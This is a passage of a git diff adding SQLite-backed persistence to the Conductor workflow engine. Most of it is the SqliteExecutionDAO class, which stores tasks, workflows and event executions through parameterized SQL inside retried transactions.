+ LazyToString callingMethod = getCallingMethod(); + logger.trace("{} : starting transaction", callingMethod); + + try (Connection tx = dataSource.getConnection()) { + boolean previousAutoCommitMode = tx.getAutoCommit(); + tx.setAutoCommit(false); + tx.setTransactionIsolation(Connection.TRANSACTION_SERIALIZABLE); + + try { + // Enable foreign keys for SQLite + try (Statement stmt = tx.createStatement()) { + stmt.execute("PRAGMA foreign_keys = ON"); + } + + R result = function.apply(tx); + tx.commit(); + return result; + } catch (Throwable th) { + tx.rollback(); + logger.info(th.getMessage()); + return null; + } finally { + tx.setAutoCommit(previousAutoCommitMode); + } + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } finally { + logger.trace( + "{} : took {}ms", + callingMethod, + Duration.between(start, Instant.now()).toMillis()); + } + } + + protected void withTransaction(Consumer consumer) { + getWithRetriedTransactions( + connection -> { + consumer.accept(connection); + return null; + }); + } + + protected R queryWithTransaction(String query, QueryFunction function) { + return getWithRetriedTransactions(tx -> query(tx, query, function)); + } + + protected R query(Connection tx, String query, QueryFunction function) { + try (Query q = new Query(objectMapper, tx, query)) { + return function.apply(q); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + protected void execute(Connection tx, String query, ExecuteFunction function) { + try (Query q = new Query(objectMapper, tx, query)) { + function.apply(q); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + protected void executeWithTransaction(String query, ExecuteFunction function) { + withTransaction(tx -> execute(tx, query, function)); + } + + protected final LazyToString getCallingMethod() { + return new LazyToString( + () -> + Arrays.stream(Thread.currentThread().getStackTrace()) + .filter( + ste -> + !EXCLUDED_STACKTRACE_CLASS.contains( + ste.getClassName())) + .findFirst() + .map(StackTraceElement::getMethodName) + .orElseThrow(() -> new NullPointerException("Cannot find Caller"))); + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteExecutionDAO.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteExecutionDAO.java new file mode 100644 index 0000000..8dfbb3a --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteExecutionDAO.java @@ -0,0 +1,1032 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao; + +import java.sql.Connection; +import java.sql.Date; +import java.text.SimpleDateFormat; +import java.util.*; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.dao.ConcurrentExecutionLimitDAO; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.dao.RateLimitingDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.sqlite.util.ExecutorsUtil; +import com.netflix.conductor.sqlite.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.annotations.VisibleForTesting; +import com.google.common.base.Preconditions; +import com.google.common.collect.Lists; +import jakarta.annotation.PreDestroy; + +public class SqliteExecutionDAO extends SqliteBaseDAO + implements ExecutionDAO, RateLimitingDAO, ConcurrentExecutionLimitDAO { + + private final ScheduledExecutorService scheduledExecutorService; + private final QueueDAO queueDAO; + + public SqliteExecutionDAO( + RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource, + QueueDAO queueDAO) { + super(retryTemplate, objectMapper, dataSource); + this.queueDAO = queueDAO; + this.scheduledExecutorService = + Executors.newSingleThreadScheduledExecutor( + ExecutorsUtil.newNamedThreadFactory("sqlite-execution-")); + } + + private static String dateStr(Long timeInMs) { + Date date = new Date(timeInMs); + return dateStr(date); + } + + private static String dateStr(Date date) { + SimpleDateFormat format = new SimpleDateFormat("yyyyMMdd"); + return format.format(date); + } + + @PreDestroy + public void destroy() { + try { + this.scheduledExecutorService.shutdown(); + if (scheduledExecutorService.awaitTermination(30, TimeUnit.SECONDS)) { + logger.debug("tasks completed, shutting down"); + } else { + logger.warn("Forcing shutdown after waiting for 30 seconds"); + scheduledExecutorService.shutdownNow(); + } + } catch (InterruptedException ie) { + logger.warn( + "Shutdown interrupted, invoking shutdownNow on scheduledExecutorService for removeWorkflowWithExpiry", + ie); + scheduledExecutorService.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + + @Override + public List getPendingTasksByWorkflow(String taskDefName, String workflowId) { + // @formatter:off + String GET_IN_PROGRESS_TASKS_FOR_WORKFLOW = + "SELECT json_data FROM task_in_progress tip " + + "INNER JOIN task t ON t.task_id = tip.task_id " + + "WHERE task_def_name = ? AND workflow_id = ?"; + // @formatter:on + + return queryWithTransaction( + GET_IN_PROGRESS_TASKS_FOR_WORKFLOW, + q -> + q.addParameter(taskDefName) + .addParameter(workflowId) + .executeAndFetch(TaskModel.class)); + } + + @Override + public List getTasks(String taskDefName, String startKey, int count) { + List tasks = new ArrayList<>(count); + + List pendingTasks = getPendingTasksForTaskType(taskDefName); + boolean startKeyFound = startKey == null; + int found = 0; + for (TaskModel pendingTask : pendingTasks) { + if (!startKeyFound) { + if (pendingTask.getTaskId().equals(startKey)) { + startKeyFound = true; + // noinspection ConstantConditions + if (startKey != null) { + continue; + } + } + } + if (startKeyFound && found < count) { + tasks.add(pendingTask); + found++; + } + } + + return tasks; + } + + private static String taskKey(TaskModel task) { + return task.getReferenceTaskName() + "_" + task.getRetryCount(); + } + + @Override + public List createTasks(List tasks) { + List created = Lists.newArrayListWithCapacity(tasks.size()); + + withTransaction( + connection -> { + for (TaskModel task : tasks) { + + validate(task); + + task.setScheduledTime(System.currentTimeMillis()); + + final String taskKey = taskKey(task); + + boolean scheduledTaskAdded = addScheduledTask(connection, task, taskKey); + + if (!scheduledTaskAdded) { + logger.trace( + "Task already scheduled, skipping the run " + + task.getTaskId() + + ", ref=" + + task.getReferenceTaskName() + + ", key=" + + taskKey); + continue; + } + + insertOrUpdateTaskData(connection, task); + addWorkflowToTaskMapping(connection, task); + addTaskInProgress(connection, task); + updateTask(connection, task); + + created.add(task); + } + }); + + return created; + } + + @Override + public void updateTask(TaskModel task) { + withTransaction(connection -> updateTask(connection, task)); + Optional taskDefinition = task.getTaskDefinition(); + if (taskDefinition.isPresent() + && taskDefinition.get().concurrencyLimit() > 0 + && task.getStatus() != null + && task.getStatus().isTerminal()) { + String queueName = QueueUtils.getQueueName(task); + List nextIds = queueDAO.peekFirstIds(queueName, 1); + if (nextIds != null && !nextIds.isEmpty()) { + logger.debug( + "Concurrency slot freed for {}, releasing postponed task {}", + task.getTaskDefName(), + nextIds.get(0)); + queueDAO.resetOffsetTime(queueName, nextIds.get(0)); + } + } + } + + /** + * This is a dummy implementation and this feature is not for sqlite backed Conductor + * + * @param task: which needs to be evaluated whether it is rateLimited or not + */ + @Override + public boolean exceedsRateLimitPerFrequency(TaskModel task, TaskDef taskDef) { + return false; + } + + @Override + public boolean exceedsLimit(TaskModel task) { + + Optional taskDefinition = task.getTaskDefinition(); + if (taskDefinition.isEmpty()) { + return false; + } + + TaskDef taskDef = taskDefinition.get(); + + int limit = taskDef.concurrencyLimit(); + if (limit <= 0) { + return false; + } + + long current = getInProgressTaskCount(task.getTaskDefName()); + + if (current >= limit) { + Monitors.recordTaskConcurrentExecutionLimited(task.getTaskDefName(), limit); + return true; + } + + logger.info( + "Task execution count for {}: limit={}, current={}", + task.getTaskDefName(), + limit, + getInProgressTaskCount(task.getTaskDefName())); + + String taskId = task.getTaskId(); + + List tasksInProgressInOrderOfArrival = + findAllTasksInProgressInOrderOfArrival(task, limit); + + boolean rateLimited = !tasksInProgressInOrderOfArrival.contains(taskId); + + if (rateLimited) { + logger.info( + "Task execution count limited. {}, limit {}, current {}", + task.getTaskDefName(), + limit, + getInProgressTaskCount(task.getTaskDefName())); + Monitors.recordTaskConcurrentExecutionLimited(task.getTaskDefName(), limit); + } + + return rateLimited; + } + + @Override + public boolean removeTask(String taskId) { + TaskModel task = getTask(taskId); + + if (task == null) { + logger.warn("No such task found by id {}", taskId); + return false; + } + + final String taskKey = taskKey(task); + + withTransaction( + connection -> { + removeScheduledTask(connection, task, taskKey); + removeWorkflowToTaskMapping(connection, task); + removeTaskInProgress(connection, task); + removeTaskData(connection, task); + }); + return true; + } + + @Override + public TaskModel getTask(String taskId) { + String GET_TASK = "SELECT json_data FROM task WHERE task_id = ?"; + return queryWithTransaction( + GET_TASK, q -> q.addParameter(taskId).executeAndFetchFirst(TaskModel.class)); + } + + @Override + public List getTasks(List taskIds) { + if (taskIds.isEmpty()) { + return Lists.newArrayList(); + } + return getWithRetriedTransactions(c -> getTasks(c, taskIds)); + } + + @Override + public List getPendingTasksForTaskType(String taskName) { + Preconditions.checkNotNull(taskName, "task name cannot be null"); + // @formatter:off + String GET_IN_PROGRESS_TASKS_FOR_TYPE = + "SELECT json_data FROM task_in_progress tip " + + "INNER JOIN task t ON t.task_id = tip.task_id " + + "WHERE task_def_name = ?"; + // @formatter:on + + return queryWithTransaction( + GET_IN_PROGRESS_TASKS_FOR_TYPE, + q -> q.addParameter(taskName).executeAndFetch(TaskModel.class)); + } + + @Override + public List getTasksForWorkflow(String workflowId) { + String GET_TASKS_FOR_WORKFLOW = + "SELECT task_id FROM workflow_to_task WHERE workflow_id = ?"; + return getWithRetriedTransactions( + tx -> + query( + tx, + GET_TASKS_FOR_WORKFLOW, + q -> { + List taskIds = + q.addParameter(workflowId) + .executeScalarList(String.class); + return getTasks(tx, taskIds); + })); + } + + @Override + public String createWorkflow(WorkflowModel workflow) { + return insertOrUpdateWorkflow(workflow, false); + } + + @Override + public String updateWorkflow(WorkflowModel workflow) { + return insertOrUpdateWorkflow(workflow, true); + } + + @Override + public boolean removeWorkflow(String workflowId) { + boolean removed = false; + WorkflowModel workflow = getWorkflow(workflowId, true); + if (workflow != null) { + withTransaction( + connection -> { + removeWorkflowDefToWorkflowMapping(connection, workflow); + removeWorkflow(connection, workflowId); + removePendingWorkflow(connection, workflow.getWorkflowName(), workflowId); + }); + removed = true; + + for (TaskModel task : workflow.getTasks()) { + if (!removeTask(task.getTaskId())) { + removed = false; + } + } + } + return removed; + } + + /** Scheduled executor based implementation. */ + @Override + public boolean removeWorkflowWithExpiry(String workflowId, int ttlSeconds) { + scheduledExecutorService.schedule( + () -> { + try { + removeWorkflow(workflowId); + } catch (Throwable e) { + logger.warn("Unable to remove workflow: {} with expiry", workflowId, e); + } + }, + ttlSeconds, + TimeUnit.SECONDS); + + return true; + } + + @Override + public void removeFromPendingWorkflow(String workflowType, String workflowId) { + withTransaction(connection -> removePendingWorkflow(connection, workflowType, workflowId)); + } + + @Override + public WorkflowModel getWorkflow(String workflowId) { + return getWorkflow(workflowId, true); + } + + @Override + public WorkflowModel getWorkflow(String workflowId, boolean includeTasks) { + WorkflowModel workflow = getWithRetriedTransactions(tx -> readWorkflow(tx, workflowId)); + + if (workflow != null) { + if (includeTasks) { + List tasks = getTasksForWorkflow(workflowId); + tasks.sort(Comparator.comparingInt(TaskModel::getSeq)); + workflow.setTasks(tasks); + } + } + return workflow; + } + + /** + * @param workflowName name of the workflow + * @param version the workflow version + * @return list of workflow ids that are in RUNNING state returns workflows of all versions + * for the given workflow name + */ + @Override + public List getRunningWorkflowIds(String workflowName, int version) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + String GET_PENDING_WORKFLOW_IDS = + "SELECT workflow_id FROM workflow_pending WHERE workflow_type = ?"; + + return queryWithTransaction( + GET_PENDING_WORKFLOW_IDS, + q -> q.addParameter(workflowName).executeScalarList(String.class)); + } + + /** + * @param workflowName Name of the workflow + * @param version the workflow version + * @return list of workflows that are in RUNNING state + */ + @Override + public List getPendingWorkflowsByType(String workflowName, int version) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + return getRunningWorkflowIds(workflowName, version).stream() + .map(this::getWorkflow) + .filter(workflow -> workflow.getWorkflowVersion() == version) + .collect(Collectors.toList()); + } + + @Override + public long getPendingWorkflowCount(String workflowName) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + String GET_PENDING_WORKFLOW_COUNT = + "SELECT COUNT(*) FROM workflow_pending WHERE workflow_type = ?"; + + return queryWithTransaction( + GET_PENDING_WORKFLOW_COUNT, q -> q.addParameter(workflowName).executeCount()); + } + + @Override + public long getInProgressTaskCount(String taskDefName) { + String GET_IN_PROGRESS_TASK_COUNT = + "SELECT COUNT(*) FROM task_in_progress WHERE task_def_name = ? AND in_progress_status = true"; + + return queryWithTransaction( + GET_IN_PROGRESS_TASK_COUNT, q -> q.addParameter(taskDefName).executeCount()); + } + + @Override + public List getWorkflowsByType( + String workflowName, Long startTime, Long endTime) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + Preconditions.checkNotNull(startTime, "startTime cannot be null"); + Preconditions.checkNotNull(endTime, "endTime cannot be null"); + + List workflows = new LinkedList<>(); + + withTransaction( + tx -> { + // @formatter:off + String GET_ALL_WORKFLOWS_FOR_WORKFLOW_DEF = + "SELECT workflow_id FROM workflow_def_to_workflow " + + "WHERE workflow_def = ? AND date_str BETWEEN ? AND ?"; + // @formatter:on + + List workflowIds = + query( + tx, + GET_ALL_WORKFLOWS_FOR_WORKFLOW_DEF, + q -> + q.addParameter(workflowName) + .addParameter(dateStr(startTime)) + .addParameter(dateStr(endTime)) + .executeScalarList(String.class)); + workflowIds.forEach( + workflowId -> { + try { + WorkflowModel wf = getWorkflow(workflowId); + if (wf.getCreateTime() >= startTime + && wf.getCreateTime() <= endTime) { + workflows.add(wf); + } + } catch (Exception e) { + logger.error( + "Unable to load workflow id {} with name {}", + workflowId, + workflowName, + e); + } + }); + }); + + return workflows; + } + + @Override + public List getWorkflowsByCorrelationId( + String workflowName, String correlationId, boolean includeTasks) { + Preconditions.checkNotNull(correlationId, "correlationId cannot be null"); + String GET_WORKFLOWS_BY_CORRELATION_ID = + "SELECT w.json_data FROM workflow w left join workflow_def_to_workflow wd on w.workflow_id = wd.workflow_id WHERE w.correlation_id = ? and wd.workflow_def = ?"; + + return queryWithTransaction( + GET_WORKFLOWS_BY_CORRELATION_ID, + q -> + q.addParameter(correlationId) + .addParameter(workflowName) + .executeAndFetch(WorkflowModel.class)); + } + + @Override + public boolean canSearchAcrossWorkflows() { + return true; + } + + @Override + public boolean addEventExecution(EventExecution eventExecution) { + try { + return getWithRetriedTransactions(tx -> insertEventExecution(tx, eventExecution)); + } catch (Exception e) { + throw new NonTransientException( + "Unable to add event execution " + eventExecution.getId(), e); + } + } + + @Override + public void removeEventExecution(EventExecution eventExecution) { + try { + withTransaction(tx -> removeEventExecution(tx, eventExecution)); + } catch (Exception e) { + throw new NonTransientException( + "Unable to remove event execution " + eventExecution.getId(), e); + } + } + + @Override + public void updateEventExecution(EventExecution eventExecution) { + try { + withTransaction(tx -> updateEventExecution(tx, eventExecution)); + } catch (Exception e) { + throw new NonTransientException( + "Unable to update event execution " + eventExecution.getId(), e); + } + } + + public List getEventExecutions( + String eventHandlerName, String eventName, String messageId, int max) { + try { + List executions = Lists.newLinkedList(); + withTransaction( + tx -> { + for (int i = 0; i < max; i++) { + String executionId = + messageId + "_" + + i; // see SimpleEventProcessor.handle to understand + // how the + // execution id is set + EventExecution ee = + readEventExecution( + tx, + eventHandlerName, + eventName, + messageId, + executionId); + if (ee == null) { + break; + } + executions.add(ee); + } + }); + return executions; + } catch (Exception e) { + String message = + String.format( + "Unable to get event executions for eventHandlerName=%s, eventName=%s, messageId=%s", + eventHandlerName, eventName, messageId); + throw new NonTransientException(message, e); + } + } + + private List getTasks(Connection connection, List taskIds) { + if (taskIds.isEmpty()) { + return Lists.newArrayList(); + } + + // Generate a formatted query string with a variable number of bind params based + // on taskIds.size() + final String GET_TASKS_FOR_IDS = + String.format( + "SELECT json_data FROM task WHERE task_id IN (%s) AND json_data IS NOT NULL", + Query.generateInBindings(taskIds.size())); + + return query( + connection, + GET_TASKS_FOR_IDS, + q -> q.addParameters(taskIds).executeAndFetch(TaskModel.class)); + } + + private String insertOrUpdateWorkflow(WorkflowModel workflow, boolean update) { + Preconditions.checkNotNull(workflow, "workflow object cannot be null"); + + boolean terminal = workflow.getStatus().isTerminal(); + + List tasks = workflow.getTasks(); + workflow.setTasks(Lists.newLinkedList()); + + withTransaction( + tx -> { + if (!update) { + addWorkflow(tx, workflow); + addWorkflowDefToWorkflowMapping(tx, workflow); + } else { + updateWorkflow(tx, workflow); + } + + if (terminal) { + removePendingWorkflow( + tx, workflow.getWorkflowName(), workflow.getWorkflowId()); + } else { + addPendingWorkflow( + tx, workflow.getWorkflowName(), workflow.getWorkflowId()); + } + }); + + workflow.setTasks(tasks); + return workflow.getWorkflowId(); + } + + private void updateTask(Connection connection, TaskModel task) { + Optional taskDefinition = task.getTaskDefinition(); + + if (taskDefinition.isPresent() && taskDefinition.get().concurrencyLimit() > 0) { + boolean inProgress = + task.getStatus() != null + && task.getStatus().equals(TaskModel.Status.IN_PROGRESS); + updateInProgressStatus(connection, task, inProgress); + } + + insertOrUpdateTaskData(connection, task); + + if (task.getStatus() != null && task.getStatus().isTerminal()) { + removeTaskInProgress(connection, task); + } + + addWorkflowToTaskMapping(connection, task); + } + + private WorkflowModel readWorkflow(Connection connection, String workflowId) { + String GET_WORKFLOW = "SELECT json_data FROM workflow WHERE workflow_id = ?"; + + return query( + connection, + GET_WORKFLOW, + q -> q.addParameter(workflowId).executeAndFetchFirst(WorkflowModel.class)); + } + + private void addWorkflow(Connection connection, WorkflowModel workflow) { + String INSERT_WORKFLOW = + "INSERT INTO workflow (workflow_id, correlation_id, json_data) VALUES (?, ?, ?)"; + + execute( + connection, + INSERT_WORKFLOW, + q -> + q.addParameter(workflow.getWorkflowId()) + .addParameter(workflow.getCorrelationId()) + .addJsonParameter(workflow) + .executeUpdate()); + } + + private void updateWorkflow(Connection connection, WorkflowModel workflow) { + String UPDATE_WORKFLOW = + "UPDATE workflow SET json_data = ?, modified_on = CURRENT_TIMESTAMP WHERE workflow_id = ?"; + + execute( + connection, + UPDATE_WORKFLOW, + q -> + q.addJsonParameter(workflow) + .addParameter(workflow.getWorkflowId()) + .executeUpdate()); + } + + private void removeWorkflow(Connection connection, String workflowId) { + String REMOVE_WORKFLOW = "DELETE FROM workflow WHERE workflow_id = ?"; + execute(connection, REMOVE_WORKFLOW, q -> q.addParameter(workflowId).executeDelete()); + } + + private void addPendingWorkflow(Connection connection, String workflowType, String workflowId) { + + String EXISTS_PENDING_WORKFLOW = + "SELECT EXISTS(SELECT 1 FROM workflow_pending WHERE workflow_type = ? AND workflow_id = ?)"; + + boolean exists = + query( + connection, + EXISTS_PENDING_WORKFLOW, + q -> q.addParameter(workflowType).addParameter(workflowId).exists()); + + if (!exists) { + String INSERT_PENDING_WORKFLOW = + "INSERT INTO workflow_pending (workflow_type, workflow_id) VALUES (?, ?) ON CONFLICT (workflow_type,workflow_id) DO NOTHING"; + + execute( + connection, + INSERT_PENDING_WORKFLOW, + q -> q.addParameter(workflowType).addParameter(workflowId).executeUpdate()); + } + } + + private void removePendingWorkflow( + Connection connection, String workflowType, String workflowId) { + String REMOVE_PENDING_WORKFLOW = + "DELETE FROM workflow_pending WHERE workflow_type = ? AND workflow_id = ?"; + + execute( + connection, + REMOVE_PENDING_WORKFLOW, + q -> q.addParameter(workflowType).addParameter(workflowId).executeDelete()); + } + + private void insertOrUpdateTaskData(Connection connection, TaskModel task) { + /* + * Most times the row will be updated so let's try the update first. This used to be an 'INSERT/ON CONFLICT do update' sql statement. The problem with that + * is that if we try the INSERT first, the sequence will be increased even if the ON CONFLICT happens. + */ + String UPDATE_TASK = + "UPDATE task SET json_data=?, modified_on=CURRENT_TIMESTAMP WHERE task_id=?"; + int rowsUpdated = + query( + connection, + UPDATE_TASK, + q -> + q.addJsonParameter(task) + .addParameter(task.getTaskId()) + .executeUpdate()); + + if (rowsUpdated == 0) { + String INSERT_TASK = + "INSERT INTO task (task_id, json_data, modified_on) VALUES (?, ?, CURRENT_TIMESTAMP) ON CONFLICT (task_id) DO UPDATE SET json_data=excluded.json_data, modified_on=excluded.modified_on"; + execute( + connection, + INSERT_TASK, + q -> q.addParameter(task.getTaskId()).addJsonParameter(task).executeUpdate()); + } + } + + private void removeTaskData(Connection connection, TaskModel task) { + String REMOVE_TASK = "DELETE FROM task WHERE task_id = ?"; + execute(connection, REMOVE_TASK, q -> q.addParameter(task.getTaskId()).executeDelete()); + } + + private void addWorkflowToTaskMapping(Connection connection, TaskModel task) { + + String EXISTS_WORKFLOW_TO_TASK = + "SELECT EXISTS(SELECT 1 FROM workflow_to_task WHERE workflow_id = ? AND task_id = ?)"; + + boolean exists = + query( + connection, + EXISTS_WORKFLOW_TO_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(task.getTaskId()) + .exists()); + + if (!exists) { + String INSERT_WORKFLOW_TO_TASK = + "INSERT INTO workflow_to_task (workflow_id, task_id) VALUES (?, ?) ON CONFLICT (workflow_id,task_id) DO NOTHING"; + + execute( + connection, + INSERT_WORKFLOW_TO_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(task.getTaskId()) + .executeUpdate()); + } + } + + private void removeWorkflowToTaskMapping(Connection connection, TaskModel task) { + String REMOVE_WORKFLOW_TO_TASK = + "DELETE FROM workflow_to_task WHERE workflow_id = ? AND task_id = ?"; + + execute( + connection, + REMOVE_WORKFLOW_TO_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(task.getTaskId()) + .executeDelete()); + } + + private void addWorkflowDefToWorkflowMapping(Connection connection, WorkflowModel workflow) { + String INSERT_WORKFLOW_DEF_TO_WORKFLOW = + "INSERT INTO workflow_def_to_workflow (workflow_def, date_str, workflow_id) VALUES (?, ?, ?)"; + + execute( + connection, + INSERT_WORKFLOW_DEF_TO_WORKFLOW, + q -> + q.addParameter(workflow.getWorkflowName()) + .addParameter(dateStr(workflow.getCreateTime())) + .addParameter(workflow.getWorkflowId()) + .executeUpdate()); + } + + private void removeWorkflowDefToWorkflowMapping(Connection connection, WorkflowModel workflow) { + String REMOVE_WORKFLOW_DEF_TO_WORKFLOW = + "DELETE FROM workflow_def_to_workflow WHERE workflow_def = ? AND date_str = ? AND workflow_id = ?"; + + execute( + connection, + REMOVE_WORKFLOW_DEF_TO_WORKFLOW, + q -> + q.addParameter(workflow.getWorkflowName()) + .addParameter(dateStr(workflow.getCreateTime())) + .addParameter(workflow.getWorkflowId()) + .executeUpdate()); + } + + @VisibleForTesting + boolean addScheduledTask(Connection connection, TaskModel task, String taskKey) { + + final String EXISTS_SCHEDULED_TASK = + "SELECT EXISTS(SELECT 1 FROM task_scheduled where workflow_id = ? AND task_key = ?)"; + + boolean exists = + query( + connection, + EXISTS_SCHEDULED_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(taskKey) + .exists()); + + if (!exists) { + final String INSERT_IGNORE_SCHEDULED_TASK = + "INSERT INTO task_scheduled (workflow_id, task_key, task_id) VALUES (?, ?, ?) ON CONFLICT (workflow_id,task_key) DO NOTHING"; + + int count = + query( + connection, + INSERT_IGNORE_SCHEDULED_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(taskKey) + .addParameter(task.getTaskId()) + .executeUpdate()); + return count > 0; + } else { + return false; + } + } + + private void removeScheduledTask(Connection connection, TaskModel task, String taskKey) { + String REMOVE_SCHEDULED_TASK = + "DELETE FROM task_scheduled WHERE workflow_id = ? AND task_key = ?"; + execute( + connection, + REMOVE_SCHEDULED_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(taskKey) + .executeDelete()); + } + + private void addTaskInProgress(Connection connection, TaskModel task) { + String EXISTS_IN_PROGRESS_TASK = + "SELECT EXISTS(SELECT 1 FROM task_in_progress WHERE task_def_name = ? AND task_id = ?)"; + + boolean exists = + query( + connection, + EXISTS_IN_PROGRESS_TASK, + q -> + q.addParameter(task.getTaskDefName()) + .addParameter(task.getTaskId()) + .exists()); + + if (!exists) { + String INSERT_IN_PROGRESS_TASK = + "INSERT INTO task_in_progress (task_def_name, task_id, workflow_id) VALUES (?, ?, ?)"; + + execute( + connection, + INSERT_IN_PROGRESS_TASK, + q -> + q.addParameter(task.getTaskDefName()) + .addParameter(task.getTaskId()) + .addParameter(task.getWorkflowInstanceId()) + .executeUpdate()); + } + } + + private void removeTaskInProgress(Connection connection, TaskModel task) { + String REMOVE_IN_PROGRESS_TASK = + "DELETE FROM task_in_progress WHERE task_def_name = ? AND task_id = ?"; + + execute( + connection, + REMOVE_IN_PROGRESS_TASK, + q -> + q.addParameter(task.getTaskDefName()) + .addParameter(task.getTaskId()) + .executeUpdate()); + } + + private void updateInProgressStatus(Connection connection, TaskModel task, boolean inProgress) { + String UPDATE_IN_PROGRESS_TASK_STATUS = + "UPDATE task_in_progress SET in_progress_status = ?, modified_on = CURRENT_TIMESTAMP " + + "WHERE task_def_name = ? AND task_id = ?"; + + execute( + connection, + UPDATE_IN_PROGRESS_TASK_STATUS, + q -> + q.addParameter(inProgress) + .addParameter(task.getTaskDefName()) + .addParameter(task.getTaskId()) + .executeUpdate()); + } + + private boolean insertEventExecution(Connection connection, EventExecution eventExecution) { + + String INSERT_EVENT_EXECUTION = + "INSERT INTO event_execution (event_handler_name, event_name, message_id, execution_id, json_data) " + + "VALUES (?, ?, ?, ?, ?) " + + "ON CONFLICT DO NOTHING"; + int count = + query( + connection, + INSERT_EVENT_EXECUTION, + q -> + q.addParameter(eventExecution.getName()) + .addParameter(eventExecution.getEvent()) + .addParameter(eventExecution.getMessageId()) + .addParameter(eventExecution.getId()) + .addJsonParameter(eventExecution) + .executeUpdate()); + return count > 0; + } + + private void updateEventExecution(Connection connection, EventExecution eventExecution) { + // @formatter:off + String UPDATE_EVENT_EXECUTION = + "UPDATE event_execution SET " + + "json_data = ?, " + + "modified_on = CURRENT_TIMESTAMP " + + "WHERE event_handler_name = ? " + + "AND event_name = ? " + + "AND message_id = ? " + + "AND execution_id = ?"; + // @formatter:on + + execute( + connection, + UPDATE_EVENT_EXECUTION, + q -> + q.addJsonParameter(eventExecution) + .addParameter(eventExecution.getName()) + .addParameter(eventExecution.getEvent()) + .addParameter(eventExecution.getMessageId()) + .addParameter(eventExecution.getId()) + .executeUpdate()); + } + + private void removeEventExecution(Connection connection, EventExecution eventExecution) { + String REMOVE_EVENT_EXECUTION = + "DELETE FROM event_execution " + + "WHERE event_handler_name = ? " + + "AND event_name = ? " + + "AND message_id = ? " + + "AND execution_id = ?"; + + execute( + connection, + REMOVE_EVENT_EXECUTION, + q -> + q.addParameter(eventExecution.getName()) + .addParameter(eventExecution.getEvent()) + .addParameter(eventExecution.getMessageId()) + .addParameter(eventExecution.getId()) + .executeUpdate()); + } + + private EventExecution readEventExecution( + Connection connection, + String eventHandlerName, + String eventName, + String messageId, + String executionId) { + // @formatter:off + String GET_EVENT_EXECUTION = + "SELECT json_data FROM event_execution " + + "WHERE event_handler_name = ? " + + "AND event_name = ? " + + "AND message_id = ? " + + "AND execution_id = ?"; + // @formatter:on + return query( + connection, + GET_EVENT_EXECUTION, + q -> + q.addParameter(eventHandlerName) + .addParameter(eventName) + .addParameter(messageId) + .addParameter(executionId) + .executeAndFetchFirst(EventExecution.class)); + } + + private List findAllTasksInProgressInOrderOfArrival(TaskModel task, int limit) { + String GET_IN_PROGRESS_TASKS_WITH_LIMIT = + "SELECT task_id FROM task_in_progress WHERE task_def_name = ? ORDER BY created_on LIMIT ?"; + + return queryWithTransaction( + GET_IN_PROGRESS_TASKS_WITH_LIMIT, + q -> + q.addParameter(task.getTaskDefName()) + .addParameter(limit) + .executeScalarList(String.class)); + } + + private void validate(TaskModel task) { + Preconditions.checkNotNull(task, "task object cannot be null"); + Preconditions.checkNotNull(task.getTaskId(), "Task id cannot be null"); + Preconditions.checkNotNull( + task.getWorkflowInstanceId(), "Workflow instance id cannot be null"); + Preconditions.checkNotNull( + task.getReferenceTaskName(), "Task reference name cannot be null"); + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteIndexDAO.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteIndexDAO.java new file mode 100644 index 0000000..f3d2799 --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteIndexDAO.java @@ -0,0 +1,428 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

